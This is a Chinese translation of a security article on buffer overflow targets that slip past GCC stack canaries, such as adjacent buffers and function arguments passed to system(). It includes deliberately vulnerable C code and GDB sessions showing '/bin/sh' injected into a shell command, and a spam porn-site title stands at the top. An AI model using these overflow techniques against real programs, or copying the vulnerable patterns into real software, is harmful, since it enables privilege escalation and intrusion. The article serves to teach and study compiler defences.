自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

時尚時尚最時尚的緩沖區(qū)溢出目標(biāo)

安全 網(wǎng)站安全
在當(dāng)今的操作系統(tǒng)中,內(nèi)存缺陷漏洞已經(jīng)越來越難挖掘了,棧保護措施已經(jīng)使原來的緩沖區(qū)溢出利用方法(將NOP塊和shellcode寫入到緩沖區(qū)中,并用緩沖區(qū)內(nèi)的地址覆蓋EIP所指向的地址)失效了。如果沒有某種程度的信息泄露,在地址空間分布隨機化(ASLR)和棧cookies的雙重保護下,用傳統(tǒng)方法實際上已經(jīng)很難對遠程系統(tǒng)執(zhí)行有效的溢出攻擊了。

原文:《Modern Overflow Targets》 By Eric Wimberley,Nathan Harrison

在當(dāng)今的操作系統(tǒng)中,內(nèi)存缺陷漏洞已經(jīng)越來越難挖掘了,棧保護措施已經(jīng)使原來的緩沖區(qū)溢出利用方法(將NOP塊和shellcode寫入到緩沖區(qū)中,并用緩沖區(qū)內(nèi)的地址覆蓋EIP所指向的地址)失效了。如果沒有某種程度的信息泄露,在地址空間分布隨機化(ASLR)和棧cookies的雙重保護下,用傳統(tǒng)方法實際上已經(jīng)很難對遠程系統(tǒng)執(zhí)行有效的溢出攻擊了。

不過,現(xiàn)在仍存在可被利用的棧輸入/輸出漏洞。本文描述了一些常用緩沖區(qū)溢出技術(shù),這些技術(shù)不會觸發(fā)棧的__stack_chk_fail保護,或至少到目前為止還有效的技術(shù)。本文我們不再利用新技術(shù)通過修改EIP來修改程序的執(zhí)行流程,而是將精力集中到一系列新的目標(biāo)中。同時,本文也會討論GCC 4.6及之前版本中未出現(xiàn)在任何文檔中的函數(shù)安全模式(function safety model)。

GCC ProPolice記錄的異常

根據(jù)函數(shù)安全模型的ProPolice文檔,以下情況不會被保護:

◆無法被重新排序的結(jié)構(gòu)體,以及函數(shù)中的指針是不安全的。

◆將指針變量作為參數(shù)時是不安全的。

◆動態(tài)分配字符串空間是不安全的。

◆調(diào)用trampoline代碼的函數(shù)是不安全的。

另外,我們也發(fā)現(xiàn)以下幾種情況也是不安全的:

◆如果函數(shù)中定義了一塊以上緩存且沒有正確排序,則至少一塊緩存可能在引用前被修改被干擾。

◆參數(shù)列表中的指針或原語(primitives)可能被修改,但在canary檢測之前被引用。

◆任意結(jié)構(gòu)體原語或緩存都有可能在引用前被修改(包括C++中的棧對象)。

◆位于棧幀低地址中的指向變量的指針是不安全的,因為數(shù)據(jù)在被引用前可能會先被覆蓋。這里我們不再局限于當(dāng)前棧幀中的本地變量、指針(如函數(shù)指針)和緩存等。

IBM在關(guān)于函數(shù)安全模型的文檔中假定攻擊類型都是傳統(tǒng)的棧溢出方式。文檔中聲明,函數(shù)返回后,棧canary后的數(shù)據(jù)是安全的,事實也確實是這樣。但問題是數(shù)據(jù)在函數(shù)返回之前可能不是安全的。即使在不同的棧幀中,指向棧的高地址的指針也很容易被改寫。#p#

基礎(chǔ)攻擊

以下為一個簡單的示例:

  1. #include <stdio.h> 
  2. #include <stdlib.h> 
  3.    
  4. int main()  
  5. {  
  6.     char buff[10];  
  7.     char buff2[10] = "dir";    // 該命令在windows與linux系統(tǒng)中均有效  
  8.     scanf("%s", buff);  
  9.     printf("A secure compiler should not execute this code in case of overflow.\n");  
  10.     system(buff2);  

這個簡單的函數(shù)包含兩個不同的變量,第一個變量從標(biāo)準(zhǔn)輸入讀取一個字符串,第二個變量作為system函數(shù)的參數(shù)。scanf函數(shù)包含可以溢出的漏洞,如果我們輸入的字符超過10個,就會產(chǎn)生溢出,會將buff字符串?dāng)?shù)組之上高地址的任何數(shù)據(jù)覆蓋。在GCC中,"fstack-protoctor-all"標(biāo)記要作的就是在內(nèi)存中檢測這種情況。下面我們用GDB看一下:

main()函數(shù)的反匯編代碼:

  1. 0x08048494 <+0>: push %ebp   
  2. 0x08048495 <+1>: mov %esp,%ebp   
  3. 0x08048497 <+3>: and $0xfffffff0,%esp   
  4. 0x0804849a <+6>: sub $0x30,%esp   
  5. 0x0804849d <+9>: mov %gs:0x14,%eax   
  6. 0x080484a3 <+15>: mov %eax,0x2c(%esp)   
  7. 0x080484a7 <+19>: xor %eax,%eax   
  8. 0x080484a9 <+21>: movl $0x726964,0x22(%esp)   
  9. 0x080484b1 <+29>: movl $0x0,0x26(%esp)   
  10. 0x080484b9 <+37>: movw $0x0,0x2a(%esp)  
  11.    
  12. 0x080484c0 <+44>: lea 0x18(%esp),%eax   
  13. 0x080484c4 <+48>: mov %eax,0x4(%esp)   
  14. 0x080484c8 <+52>: movl $0x80485e0,(%esp)   
  15. 0x080484cf <+59>: call 0x80483b0 <scanf@plt>   
  16. 0x080484d4 <+64>: movl $0x80485e4,(%esp)   
  17. 0x080484db <+71>: call 0x8048390 <puts@plt>   
  18. 0x080484e0 <+76>: lea 0x22(%esp),%eax   
  19. 0x080484e4 <+80>: mov %eax,(%esp)   
  20. 0x080484e7 <+83>: call 0x80483a0 <system@plt>   
  21. 0x080484ec <+88>: mov $0x0,%eax   
  22. 0x080484f1 <+93>: mov 0x2c(%esp),%edx   
  23. 0x080484f5 <+97>: xor %gs:0x14,%edx   
  24. 0x080484fc <+104>: je 0x8048503 <main()+111>   
  25. 0x080484fe <+106>: call 0x8048380 <__stack_chk_fail@plt>   
  26. 0x08048503 <+111>: leave   
  27. 0x08048504 <+112>: ret   
  28. End of assembler dump.   
  29. (gdb) break *0x080484cf   
  30. Breakpoint 1 at 0x80484cf: file firstexample.cpp, line 7.   
  31. (gdb) break *0x080484e7   
  32. Breakpoint 2 at 0x80484e7: file firstexample.cpp, line 9.   
  33. (gdb) r   
  34. Starting program: /home/ewimberley/testing/a.out   
  35. Breakpoint 1, 0x080484cf in main () at firstexample.cpp:7   
  36. 7 scanf("%s", buff);   
  37. (gdb) x/s buff2   
  38. 0xbffff312: "dir" 
  39. (gdb) con   
  40. condition continue 
  41. (gdb) continue 
  42. Continuing.   
  43. aaaaaaaaaa/bin/sh  
  44. A secure compiler should not execute this code in case of overflow.   
  45. Breakpoint 2, 0x080484e7 in main () at firstexample.cpp:9   
  46. 9 system(buff2);   
  47. (gdb) x/s buff2   
  48. 0xbffff312: "/bin/sh" 
  49. (gdb) continue 
  50. Continuing.  
  51. $ whoami  
  52. ewimberley   
  53. $ exit  
  54. [Inferior 1 (process 3349) exited normally] 

可以向buff合法寫入10個字節(jié),多出來的字節(jié)寫入到buff2中(canary被覆蓋之前)。如果我們從標(biāo)準(zhǔn)輸入寫入21個‘a’并查看內(nèi)存,可以看到canary的第一個字節(jié)(0x00)被破壞了。

  1. Breakpoint 1, 0x080484cf in main () at firstexample.cpp:7   
  2. 7 scanf("%s", buff);   
  3. (gdb) x/32x buff   
  4. 0xbffff308: 0xdb 0x3b 0x16 0x00 0x24 0x93 0x2a 0x00   
  5. 0xbffff310: 0xf4 0x8f 0x64 0x69 0x72 0x00 0x00 0x00   
  6. 0xbffff318: 0x00 0x00 0x00 0x00 0x00 0xe6 0x75 0xc2   
  7. 0xbffff320: 0x10 0x85 0x04 0x08 0x00 0x00 0x00 0x00   
  8. (gdb) continue  
  9. Continuing.   
  10. aaaaaaaaaaaaaaaaaaaaa   
  11. A secure compiler should not execute this code in case of overflow.   
  12. Breakpoint 2, 0x080484e7 in main () at firstexample.cpp:9   
  13. 9 system(buff2);   
  14. (gdb) x/32x buff   
  15. 0xbffff308: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61   
  16. 0xbffff310: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61   
  17. 0xbffff318: 0x61 0x61 0x61 0x61 0x61 0x00 0x75 0xc2   
  18. 0xbffff320: 0x10 0x85 0x04 0x08 0x00 0x00 0x00 0x00   
  19. (gdb) continue  
  20. Continuing.   
  21. sh: aaaaaaaaaaa: not found   
  22. *** stack smashing detected ***: /home/ewimberley/testing/a.out terminated   
  23. ======= Backtrace: =========   
  24. /lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x45)[0x2188d5]   
  25. /lib/i386-linux-gnu/libc.so.6(+0xe7887)[0x218887]   
  26. /home/ewimberley/testing/a.out[0x8048503]   
  27. /lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0x14a113]   
  28. /home/ewimberley/testing/a.out[0x8048401]   
  29. ======= Memory map: ========   
  30. 00110000-0012e000 r-xp 00000000 08:01 1577417 /lib/i386-linux/-gnu/ld-2.13.so   
  31. 0012e000-0012f000 r--p 0001d000 08:01 1577417 /lib/i386-linux-gnu/ld-2.13.so   
  32. 0012f000-00130000 rw-p 0001e000 08:01 1577417 /lib/i386-linux-gnu/ld-2.13.so   
  33.    
  34. 00130000-00131000 r-xp 00000000 00:00 0 [vdso]   
  35. 00131000-002a7000 r-xp 00000000 08:01 1577420 /lib/i386-linux-gnu/libc-2.13.so   
  36. 002a7000-002a9000 r--p 00176000 08:01 1577420 /lib/i386-linux-gnu/libc-2.13.so   
  37. 002a9000-002aa000 rw-p 00178000 08:01 1577420 /lib/i386-linux-gnu/libc-2.13.so   
  38. 002aa000-002ad000 rw-p 00000000 00:00 0   
  39. 002ad000-002c9000 r-xp 00000000 08:01 1577415 /lib/i386-linux-gnu/libgcc_s.so.1   
  40. 002c9000-002ca000 r--p 0001b000 08:01 1577415 /lib/i386-linux-gnu/libgcc_s.so.1   
  41. 002ca000-002cb000 rw-p 0001c000 08:01 1577415 /lib/i386-linux-gnu/libgcc_s.so.1   
  42. 08048000-08049000 r-xp 00000000 08:01 1048890 /home/ewimberley/testing/a.out   
  43. 08049000-0804a000 r--p 00000000 08:01 1048890 /home/ewimberley/testing/a.out   
  44. 0804a000-0804b000 rw-p 00001000 08:01 1048890 /home/ewimberley/testing/a.out   
  45. 0804b000-0806c000 rw-p 00000000 00:00 0 [heap]   
  46. b7fec000-b7fed000 rw-p 00000000 00:00 0   
  47. b7ffc000-b8000000 rw-p 00000000 00:00 0   
  48. bffdf000-c0000000 rw-p 00000000 00:00 0 [stack]   
  49. Program received signal SIGABRT, Aborted.   
  50. 0x00130416 in __kernel_vsyscall () 

需要注意的是,從sh得到的錯誤消息依然會被打印出來:

sh: aaaaaaaaaaa: not found

這是因為直到函數(shù)返回之前的那一刻才會進行棧檢查,在檢測到內(nèi)存被破壞之前,非法的字符串已經(jīng)被引用了。字符串結(jié)尾處的棧canary的第一個字節(jié)被覆蓋(錯誤消息中只有11個‘a’,因為buff2中包含字節(jié)長)。下圖演示了根據(jù)函數(shù)安全模型,函數(shù)在執(zhí)行時棧幀的情況:

變量聲明的順序通常決定其在棧幀中的順序。緩存在聲明時通常是往棧底方向聲明的,以此來減緩其對其它本地變量的溢出攻擊,但當(dāng)有兩塊緩存時,其中的一塊必須在另一塊緩存和canary之間。如果有緩沖區(qū)溢出漏洞影響了第一塊緩存,則第二塊緩存可被任意寫入。這比所有的本地變量被溢出攻擊要好,但字符串通常更容易被選為攻擊目標(biāo)。

函數(shù)參數(shù)不能輕易改變位置,所以它們在其在這些變量緩存的上面。主函數(shù)的緩存在棧幀的最底部(高地址)。如前文所述,直到函數(shù)返回時才會對棧進行檢查,所以這些參數(shù)仍有可能被當(dāng)前函數(shù)引用 。這表示可以通過將惡意代碼寫入到參數(shù)的方式來觸發(fā)緩沖區(qū)溢出漏洞。

  1. void vulnerable(char* buffer)  
  2. {  
  3.     char buff[10];  
  4.     scanf("%s", buff);  
  5.     printf("A secure compiler should not execute this code in case of overflow.\n");  
  6.     system(buffer);  
  7. }  
  8.    
  9. int main()  
  10. {  
  11.     char buff2[10] = "dir";  
  12.     vulnerable(buff2);  
  13.     printf("The overflow happened in a different function...\n");  

vulnerable()函數(shù)的棧幀的結(jié)構(gòu)類似下圖(根據(jù)編譯器的不同略有差異)。char *buff與包含漏洞的char[] buff分別在canary的兩側(cè),但仍無法避免受到溢出攻擊。

時尚時尚最時尚的緩沖區(qū)溢出目標(biāo)

在vulnerable()函數(shù)到達其返回點時,仍會進行canary檢測。不幸的是,攻擊者在這時已經(jīng)獲取到shell的訪問權(quán)限,且在程序做出任意棧溢出警告前將其kill掉了。如果vulnerable()函數(shù)打開一個shell并殺死它自己的進程,安全檢測就不會運行了。需要注意的是如果該漏洞程序是以root權(quán)限(或者設(shè)置了suid位且程序所有者為root)運行的,則通過利用該漏洞就可以獲取到系統(tǒng)root用戶權(quán)限。

時尚時尚最時尚的緩沖區(qū)溢出目標(biāo) #p#

其它攻擊向量

 

system(char *)函數(shù)只是一個簡單的示例,系統(tǒng)中還有很多類似的情況。本例中的攻擊者溢出了一個直接傳遞到printf函數(shù)中的字符串。

時尚時尚最時尚的緩沖區(qū)溢出目標(biāo)

容易受到攻擊的目標(biāo)包含但不限于:

 

傳遞到system(char *command)函數(shù)中的字符串

做為字符串格式的字符串(Strings that are used as a string format)

包含SQL狀態(tài)的字符串

包含XML的字符串

寫入到硬盤的字符串

包含密碼信息的字符串

包含加密密鑰的字符串

包含文件名的字符串

​附錄A

引用資料

  1. /*  
  2. Copyright (C) 2012 Eric Wimberley and Nathan Harrison  
  3. WARNING:  
  4. 以下這段代碼故意寫成易受攻擊的形式。  
  5. 讀者可以嘗試在測試系統(tǒng)或沙盒中編譯并以守護程序或以root權(quán)限運行這段代碼。  
  6. */  
  7. // windows系統(tǒng)中需要的頭文件  
  8. //#include "stdafx.h"   
  9. //#include <process.h>   
  10. // linux系統(tǒng)中需要的頭文件  
  11. #include <stdlib.h>   
  12. #include <stdio.h>   
  13. // code portability for vulnerable function   
  14. // TODO pick a vulnerable function, any vulnerable function   
  15. //#define vulnerableFunction printf   
  16. #define vulnerableFunction system   
  17. //#define vulnerableFunction mysql_query(...)?   
  18. //#define vulnerableFunction someone_who_trusts_this_string_in_any_way(...)?   
  19. // code portability for scanf function (for what it's worth)   
  20. // TODO comment out for linux   
  21. //#define scanf scanf_s   
  22. void a()  
  23. {  
  24.     char buff2[10] = "dir";  
  25.     char buff[10];  
  26.     scanf("%s", buff);  
  27.     printf("A secure compiler should not execute this code in case of overflow.\n");  
  28.     vulnerableFunction(buff2);  
  29. }  
  30.    
  31. void c(char* buffer)  
  32. {  
  33.     char buff[10];  
  34.     // 如果使用scanf_s漏洞就不存在了  
  35.     // 預(yù)編譯指令是為了保證不使用scanf_s  
  36.     #ifndef scanf   
  37.     scanf("%s", buff);   
  38.     #endif   
  39.     #ifdef scanf   
  40.     #undef scanf   
  41.     scanf("%s", buff);   
  42.     #define scanf scanf_s   
  43.     #endif   
  44.     printf("A secure compiler should not execute this code in case of overflow.\n");   
  45.     vulnerableFunction(buffer);   
  46. }  
  47.    
  48. class TestClass  
  49. {  
  50. public:  
  51.     char buff[10];  
  52.     char buff2[21];  
  53.     TestClass()  
  54.     {   
  55.         sscanf(buff2, "SELECT * FROM table;");  
  56.     }   
  57.     void a()  
  58.     {  
  59.         scanf("%s", buff);  
  60.         printf("A secure compiler should not execute this code in case of overflow.\n");  
  61.         vulnerableFunction(buff2);  
  62.     }  
  63. };  
  64.    
  65. void scenario1()  
  66. {  
  67.     // Case 1 and 2:簡單棧幀  
  68.     // depending on compiler implementation these stack frames may be arranged so   
  69.     // such that one buffer can overflow into the other (at least one of these   
  70.     // works on most compilers)   
  71.     // TODO pick one of these  
  72.     printf("Running scenario 1...\n");  
  73.     a();   
  74. }  
  75.    
  76. void scenario2()  
  77. {   
  78.     // Case 2:對象中的堆溢出  
  79.     // 堆溢出是一個已知的問題,但對象使該問題更嚴重了  
  80.     // 因為對象之間的緩存是相臨的。  
  81.     printf("Running scenario 2...\n");   
  82.     TestClass* test = new TestClass();   
  83.     test->a();   
  84. }  
  85.     
  86. void scenario3()  
  87. {  
  88.     // Case 3:對象中的棧溢出  
  89.     // objects on the stack are almost unaccounted for  
  90.     printf("Running scenario 3...\n");  
  91.     TestClass test = TestClass();  
  92.     test.a();  
  93. }  
  94.    
  95. void scenario4Part2(TestClass& test)  
  96. {  
  97.     test.a();  
  98. }  
  99.    
  100. void scenario4()  
  101. {  
  102.     // Case 4:對象中的棧溢出  
  103.     // objects on the stack are almost unaccounted for  
  104.     // 該情況也可以作為棧檢查應(yīng)該更早執(zhí)行的證明  
  105.     // 棧檢查的最佳時機就是緩存被改寫之后就直接檢查  
  106.     printf("Running scenario 4...\n");  
  107.     TestClass test = TestClass();  
  108.     scenario4Part2(test);  
  109.     printf("The overflow happened in a different function...\n");  
  110. }  
  111.    
  112. // honestly, this scenario might be the worst offender   
  113. void scenario5()  
  114. {  
  115.     // Case 5:對象中的棧溢出  
  116.     // 函數(shù)參數(shù)在棧canary以下,但由于不正確的檢查時機,其包含漏洞  
  117.     // 該情況也可以作為棧檢查應(yīng)該更早執(zhí)行的證明  
  118.     // 棧檢查的最佳時機就是緩存被改寫之后就直接檢查  
  119.     printf("Running scenario 5...\n");  
  120.     char buff2[10] = "dir";  
  121.     c(buff2);  
  122.     printf("The overflow happened in a different function...\n");  
  123. }  
  124.    
  125. // TODO use precompiler to make this code portable  
  126. // int _tmain(int argc, char* argv[])  
  127. int main(int argc, char* argv[])  
  128. {  
  129.     if(argc == 2)  
  130.     {  
  131.         if(argv[1][0] == '1')  
  132.         {  
  133.             scenario1();  
  134.         }  
  135.         else if(argv[1][0] == '2')  
  136.         {  
  137.             scenario2();  
  138.         }  
  139.         else if(argv[1][0] == '3')  
  140.         {  
  141.             scenario3();  
  142.         }  
  143.         else if(argv[1][0] == '4')  
  144.         {  
  145.             scenario4();   
  146.         }   
  147.         else if(argv[1][0] == '5')  
  148.         {   
  149.             scenario5();  
  150.         }  
  151.     }  
  152.     else{  
  153.         printf("Usage [program] [scenario number 1-5]\n");  
  154.     }  
  155.     printf("\nA secure compiler should not get to this point.\n");  
  156.    
  157.     return 0;  

《Smashing The Stack For Fun And Profit》

Aleph1

http://www.phrack.org/issues.html?id=14&issue=49

《Protecting from stack-smashing attacks》

Hiroaki Etoh and Kunikazu Yoda

http://www.research.ibm.com/trl/projects/security/ssp/node4.html#SECTION00041000000000000000

責(zé)任編輯:藍雨淚 來源: IDF實驗室
相關(guān)推薦

2020-10-23 06:33:22

時尚產(chǎn)業(yè)物聯(lián)網(wǎng)IoT

2022-09-26 11:10:00

人工智能華為云

2013-09-25 16:05:03

創(chuàng)新中國

2017-05-08 17:39:30

oppo

2019-02-27 13:58:29

漏洞緩沖區(qū)溢出系統(tǒng)安全

2017-01-09 17:03:34

2014-07-30 11:21:46

2018-01-26 14:52:43

2009-09-24 18:16:40

2012-01-17 10:48:55

筆記本評測

2012-12-18 09:49:57

jQueryJavaScriptJS

2011-05-07 16:09:55

上網(wǎng)本華碩EeePC 101

2010-12-27 10:21:21

2011-12-09 15:43:30

2009-12-18 08:40:12

ADSL無線路由設(shè)置

2010-10-09 14:45:48

2011-04-28 11:40:46

上網(wǎng)本華碩EPC

2015-11-10 19:12:36

2010-09-08 15:43:18

點贊
收藏

51CTO技術(shù)棧公眾號